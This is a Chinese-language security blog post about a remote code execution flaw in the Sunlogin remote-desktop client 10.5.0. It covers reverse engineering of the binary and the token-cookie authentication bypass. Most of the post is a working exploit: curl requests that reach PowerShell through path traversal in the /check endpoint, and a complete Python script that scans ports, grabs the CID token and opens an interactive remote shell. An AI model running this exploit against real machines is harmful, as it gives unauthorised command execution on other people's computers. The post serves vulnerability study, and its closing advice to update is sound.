0x00漏洞范围
0x01逆向分析
以10.5.0版本为例https://zgao.top/download/SunloginClient_10.5.0.29613_X64.exe
通过peid和die查壳得知向日葵是由upx打包的,首先需要脱掉upx壳
从函数sub_140E80B44得知,向日葵在程序启动的时候会随机监听40000以上的高端口
在函数sub_140E88084可以找到向日葵的各个接口
跟进sub_1403D49F8函数
继续跟进sub_140E95C7C函数
从cgi-bin/rpc接口开始看,跟进sub_140E91498函数
发现v15是由v60参数值与v123作比较,并返回真假
往下翻可以看到有一个v123等于verify-haras
退回来跟进sub_140E902BC函数
发现当命令是ping或nslookup,则会跳转到LABEL_27处
其中在LABEL_27处有一个函数是命令执行,跟进sub_140E95470函数
接触的windows编程比较少,通过查了下百度,了解到CreateProcess是一个可以命令行执行的API函数,可以拼接执行命令
除此之外,能进行调用命令行的函数还有
1 2 3 4 5
| winExec() CreateProcess() System() pipopen() ShellExecute()
|
确定了sub_1403D49F8函数就是调用不同接口的函数,往上翻可以看到有CID和Cookie字段
往下翻有一个验证CID是否正确的函数
0x02漏洞原理
向日葵启动时会先Oray远程服务器连接,RCE发生在/check接口,当传入值为ping或nslookup开头则会触发RCE。大致流程就是访问cgi-bin/rpc接口,向action参数传入值,值就是刚刚的verify-haras,通过返回的verify_string,再将该值传入CID并赋值给Cookie,达到绕过账号密码验证的目的实现RCE
0x03漏洞复现
先查看下受害主机的IP地址
从上文得知向日葵会从40000+高端口开放服务,并且可以通过查看向日葵启动日志来找到所开放的服务端口
端口开在了49181
通过本地curl命令远程发起访问
1
| curl 192.168.209.132:49181/cgi-bin/rpc?action=verify-haras
|
获得了verify_string,将它传到CID上并赋值给Cookie,即可实现RCE
1
| curl 192.168.209.132:49181/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami --cookie "CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3"
|
0x04脚本编写
首先就是要把思路列出来
1、若针对一台目的主机编写脚本,则不用考虑IP和路径,但是端口还是需要尝试的,因为是随机开放,不能事先预知到是哪一个端口
2、其次最主要的就是先拿到CID,然后构造payload
扫描端口可以使用socket连接,导入socket模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from socket import *
def PortScan(host,port): try: s=socket(AF_INET,SOCK_STREAM) s.connect((host,port)) print(f"{port} alive") s.close() except: pass def scan(): host=input("输入IP:") for port in range(40000,50000): PortScan(host,port)
if __name__=='__main__': scan()
|
这样单个比较慢,需要使用到多线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from socket import * import threading
def PortScan(host,port): try: s=socket(AF_INET,SOCK_STREAM) s.connect((host,port)) threading.Lock().acquire() print(f"{port} alive") threading.Lock.release() s.close() except: pass def scan(): host=input("输入IP:") for port in range(40000,50000): t=threading.Thread(target=PortScan,args=(host,port)) t.start()
if __name__=='__main__': scan()
|
接下来就是检查是否开启了服务,使用requests模块发起网络请求
1 2 3 4 5 6 7 8 9 10 11 12 13
| def poc(): global port_rce for port in ports: print(f"{port} service surving") host_url = 'http://' + str(host) + ':' + str(port) try: url = requests.get(host_url, timeout=1) if str(url.json()) == "{'success': False, 'msg': 'Verification failure'}": port_rce = str(port) print(f"---------- {port_rce} may be available! ----------") except: print(f"{port} cannot access.") print("finish!!!\n")
|
采取最基本的json格式函数,当回显为{‘success’: False, ‘msg’: ‘Verification failure’}则证明存在向日葵服务
然后就是检查漏洞是否存在模块
1 2 3 4 5 6 7 8 9 10
| def exp(): global port_rce,Cookie host_url='http://'+str(host)+':'+str(port_rce)+'/cgi-bin/rpc?action=verify-haras' CID=str(requests.get(host_url).json())[-45:-13] print(f"your CID is {CID}") Cookie= {"CID":CID} rce_url='http://'+str(host)+':'+str(port_rce)+"/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+echo+1" req=requests.get(rce_url,cookies=Cookie).text if str(req=='1\r\n'): print("rce!!!!!")
|
写shell模块
1 2 3 4 5 6 7
| def shell(): global port_rce,cookie cmd='' while 1: cmd=input("shell:") url='http://'+str(host)+':'+str(port_rce)+'/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+'+str(cmd) print(requests.get(url,cookies=Cookie).text)
|
可以自行写入命令
总体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from socket import * import threading import requests
def PortScan(host, port): try: s = socket(AF_INET, SOCK_STREAM) s.connect((host, port)) threading.Lock().acquire() ports.append(port) threading.Lock.release() s.close() except: pass
def scan(): for port in range(40000, 50000): t = threading.Thread(target=PortScan, args=(host, port)) t.start()
def poc(): global port_rce for port in ports: print(f"{port} service surving") host_url = 'http://' + str(host) + ':' + str(port) try: url = requests.get(host_url, timeout=1) if str(url.json()) == "{'success': False, 'msg': 'Verification failure'}": port_rce = str(port) print(f"---------- {port_rce} may be available! ----------") except: print(f"{port} cannot access.") print("finish!!!\n")
def exp(): global port_rce,Cookie host_url='http://'+str(host)+':'+str(port_rce)+'/cgi-bin/rpc?action=verify-haras' CID=str(requests.get(host_url).json())[-45:-13] print(f"your CID is {CID}") Cookie= {"CID":CID} rce_url='http://'+str(host)+':'+str(port_rce)+"/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+echo+1" req=requests.get(rce_url,cookies=Cookie).text if str(req=='1\r\n'): print("rce!!!!!")
def shell(): global port_rce,cookie cmd='' while 1: cmd=input("shell:") url='http://'+str(host)+':'+str(port_rce)+'/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+'+str(cmd) print(requests.get(url,cookies=Cookie).text)
if __name__ == '__main__': print("hacker by wh1t3zer") host = input("输入IP:") port_rce = '' Cookie={} ports = [] scan() poc() if port_rce: exp() command = input("是否写shell?输入y或n") if(command=='y'): shell() else: exit
|
0x05总结
由于写脚本比较少的缘故,写的还不是很完善,期间还参考了一些资料,动手能力还有待提高。总的来说这个漏洞的危害性还是比较大的,触发的条件比较低,开启向日葵服务的主机需要更新到最新版本。